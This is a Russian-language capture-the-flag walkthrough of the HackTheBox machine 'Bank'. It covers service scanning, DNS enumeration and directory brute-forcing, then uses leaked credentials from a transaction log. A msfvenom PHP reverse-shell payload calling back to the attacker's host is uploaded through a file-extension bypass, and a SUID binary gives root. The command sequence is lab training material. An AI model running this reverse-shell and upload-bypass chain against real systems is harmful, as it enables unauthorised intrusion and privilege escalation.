Обзор сервисов

IP-адрес машины 10.10.10.29. Стандартный вывод nmap:

$ nmap -sC -sT -Pn -vvv -oN 10.10.10.29 10.10.10.29 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-26 13:32 EDT
NSE: Loaded 126 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:32
Completed NSE at 13:32, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:32
Completed NSE at 13:32, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:32
Completed Parallel DNS resolution of 1 host. at 13:32, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 13:32
Scanning 10.10.10.29 [1000 ports]
Discovered open port 53/tcp on 10.10.10.29
Discovered open port 80/tcp on 10.10.10.29
Discovered open port 22/tcp on 10.10.10.29
Increasing send delay for 10.10.10.29 from 0 to 5 due to max_successful_tryno increase to 4
Increasing send delay for 10.10.10.29 from 5 to 10 due to 11 out of 33 dropped probes since last increase.
Completed Connect Scan at 13:32, 22.51s elapsed (1000 total ports)
NSE: Script scanning 10.10.10.29.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:32
Completed NSE at 13:33, 20.26s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:33
Completed NSE at 13:33, 0.00s elapsed
Nmap scan report for 10.10.10.29
Host is up, received user-set (0.17s latency).
Scanned at 2023-07-26 13:32:25 EDT for 42s
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAMJ+YATka9wvs0FTz8iNWs6uCiLqSFhmBYoYAorFpozVGkCkU1aEJ7biybFTw/qzS9pbSsaYA+3LyUyvh3BSPGEt1BgGW/H29MuXjkznwVz60JqL4GqaJzYSL3smYYdr3KdJQI/QSvf34WU3pife6LRmJaVk+ETh3wPclyecNtedAAAAFQC1Zb2O2LzvAWf20FdsK8HRPlrx1wAAAIBIBAhLmVd3Tz+o+6Oz39g4Um1le8d3DETINWk3myRvPw8hcnRwAFe1+14h3RX4fr+LKXoR/tYrI138PJyiyl+YtQWhZnJ7j8lqnKRU2YibtnUc44kP9FhUqeAcBNjj4qwG9GyQSWm/Q5CbOokgaa6WfdcnwsUMim0h2Ad8YdU1kAAAAIBy3dOOD8jKHeBdE/oXGG0X9tKSFZv1gPr/kZ7NfqUF0kHU3oZTNK8/2qR0SNHgrZ2cLgKTIuneGS8lauXjC66NNMoUkJcMHpwRkYC0A86LDmhES6OuPsQwAjr1AtUZn97QjYu1d6WPfhTdsRYBuCotgKh2SBkzV1Bcz77Tnp56JA==
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc0rofjHtpSlqkDjjnkEiYcbUrMH0Q4a6PcxqsR3updDGBWu/RK7AGWRSjPn13uil/nl44XF/fkULy7FoXXskByLCHP8FS2gYJApQMvI9n81ERojEA0NIi6VZKP19bl1VFTk7Q5rEPIpab2xqYMBayb1ch7iP95n3iayvHEt/7cSTsddGWKeALi+rrujpnryNViiOIWpqDv+RWtbc2Wuc/FTeGSOt1LBTbtKcLwEehBG+Ym8o8iKTd+zfVudu7v1g3W2Aa3zLuTcePRKLUK3Q2D7k+5aJnWrekpiARQm3NmMkv1NuDLeW3amVBCv6DRJPBqEgSeGMGsnqkR8CKHO9/
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDH30xnPq1XEub/UFQ2KoHXh9LFKMNMkt60xYF3OrEp1Y5XQd0QyeLXwm6tIqWtb0rWda/ivDgmiB4GzCIMf/HQ=
|   256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA8MYjFyo+4OwYGTzeuyNd998y6cOx56mIuciim1cvKh
53/tcp open  domain  syn-ack
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    syn-ack
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-title: Apache2 Ubuntu Default Page: It works

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:33
Completed NSE at 13:33, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:33
Completed NSE at 13:33, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 43.05 seconds

Веб-интерфейс

Стандартный интерфейс Apache2 на главной.

Alt text

На порту 53 имеется DNS, стоит проверить записи.

$ dig bank.htb @10.10.10.29

; <<>> DiG 9.18.16-1-Debian <<>> bank.htb @10.10.10.29
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<opcode: QUERY, status: NOERROR, id: 44574
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;bank.htb.                      IN      A

;; ANSWER SECTION:
bank.htb.               604800  IN      A       10.10.10.29

;; AUTHORITY SECTION:
bank.htb.               604800  IN      NS      ns.bank.htb.

;; ADDITIONAL SECTION:
ns.bank.htb.            604800  IN      A       10.10.10.29

;; Query time: 56 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (UDP)
;; WHEN: Wed Jul 26 14:02:31 EDT 2023
;; MSG SIZE  rcvd: 86

Занесем полученный записи в /etc/hosts:

$ sudo nano /etc/hosts
10.10.10.29 bank.htb ns.bank.htb

Alt text

Поищем другие каталоги и файлы с расширением php:

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://bank.htb -t 20 -x php
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://bank.htb
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2023/07/26 14:07:00 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 279]
/index.php            (Status: 302) [Size: 7322] [--> login.php]
/login.php            (Status: 200) [Size: 1974]
/support.php          (Status: 302) [Size: 3291] [--> login.php]
/uploads              (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets               (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/inc                  (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/balance-transfer     (Status: 301) [Size: 304] [--> http://bank.htb/balance-transfer/]
Progress: 22035 / 175330 (12.57%)^C
[!] Keyboard interrupt detected, terminating.

===============================================================
2023/07/26 14:08:28 Finished
===============================================================

Интересный каталог /inc/ содержит следующие файлы:

Alt text

Каталог /balance-transfer/ содержит файлы *.acc.

Alt text

Каждый файл выглядит как лог транзакции с зашифрованным содержимым.

Alt text

Скачаем весь каталог, чтобы исследовать подробнее.

wget -r http://bank.htb/balance-transfer/

В каталоге есть файлы с разными размерами, но обычно это 581-585 байт. Среди них затесался файл размером 257 байт:

$ ls -la | grep acc | awk -F " " '{print $5}' | sort | uniq
257
581
582
583
584
585
$ ls -la | grep 257                                        
-rw-r--r-- 1 user user    583 Jun 15  2017 29ee355c82a4bbe25787fc0b4d96dd45.acc
-rw-r--r-- 1 user user    585 Jun 15  2017 3e15fba8222b4257f517f73ffa6e8dbf.acc
-rw-r--r-- 1 user user    585 Jun 15  2017 500f59a56cf27362df6df66852574348.acc
-rw-r--r-- 1 user user    584 Jun 15  2017 5be5196a9bfbf55be5322576b6cf2ec0.acc
-rw-r--r-- 1 user user    257 Jun 15  2017 68576f20e9732f1b2edc4df5b8533230.acc
-rw-r--r-- 1 user user    584 Jun 15  2017 92579940417f9ae8d23f3274830ceeaa.acc
-rw-r--r-- 1 user user    584 Jun 15  2017 cbeed458cd121a5a971a2578ff6a3a95.acc
-rw-r--r-- 1 user user    584 Jun 15  2017 e1c22573a63c4b2a458b50fe5952dfbe.acc
-rw-r--r-- 1 user user    584 Jun 15  2017 e291abebd339260825783fb4c3a308ad.acc

Посмотрим внутрь такого файла:

$ cat 68576f20e9732f1b2edc4df5b8533230.acc 
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: [email protected]
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

Используем креды [email protected]:!##HTBB4nkP4ssw0rd!## и логинимся в вебку.

Alt text

На роуте /support.php можно создать обращение в поддержку и приложить файл. К сожалению, просто приложить PHP-шелл не выходит из-за проверок.

Alt text

В коде оставлена заметка о том, что файлы с расширением htb выполняются как PHP-файлы.

Alt text

$ msfvenom -p php/reverse_php LHOST=10.10.16.93 LPORT=4242 -f raw > shell.htb
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 2981 bytes
$ msfconsole
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 4242
lport => 4242
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.93:4242

Загрузка прошла успешно.

Alt text

curl http://bank.htb/uploads/shell.htb

Alt text

Пользовательский флаг

Нам достаточно прав, чтобы забрать флаг из каталога /home/chris

cd /home
ls -la
total 12
drwxr-xr-x  3 root  root  4096 Jan 11  2021 .
drwxr-xr-x 22 root  root  4096 Jan 11  2021 ..
drwxr-xr-x  3 chris chris 4096 Jan 11  2021 chris
cd chris
ls -la
total 28
drwxr-xr-x 3 chris chris 4096 Jan 11  2021 .
drwxr-xr-x 3 root  root  4096 Jan 11  2021 ..
lrwxrwxrwx 1 root  root     9 Jan 11  2021 .bash_history -> /dev/null
-rw-r--r-- 1 chris chris  220 May 28  2017 .bash_logout
-rw-r--r-- 1 chris chris 3637 May 28  2017 .bashrc
drwx------ 2 chris chris 4096 Jan 11  2021 .cache
-rw-r--r-- 1 chris chris  675 May 28  2017 .profile
-r--r--r-- 1 chris chris   33 Jul 26 19:27 user.txt
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat user.txt
1089a56e67effacd223a5b6e127c8750

Alt text

Повышение привилегий

Во время осмотра машины был найден файл /var/htb/bin/emergency с SUID флагом.

Alt text

Простой вызов этого файла дает нам доступ к консоли суперпользователя.

/var/htb/bin/emergency
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root)(www-data)

Флаг суперпользователя

cd /root
ls -la
total 36
drwx------  4 root root 4096 Jan 11  2021 .
drwxr-xr-x 22 root root 4096 Jan 11  2021 ..
lrwxrwxrwx  1 root root    9 Jan 11  2021 .bash_history -> /dev/null
-rw-r--r--  1 root root 3110 May 30  2017 .bashrc
drwx------  2 root root 4096 Jan 11  2021 .cache
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
drwxr-xr-x  2 root root 4096 Jan 11  2021 .rpmdb
-rw-r--r--  1 root root   66 May 29  2017 .selected_editor
-rw-------  1 root root  598 Jan 11  2021 .viminfo
-r--------  1 root root   33 Jul 26 19:27 root.txt
cat root.txt
296c5d5deda26ea30c10983b68144d7a

Alt text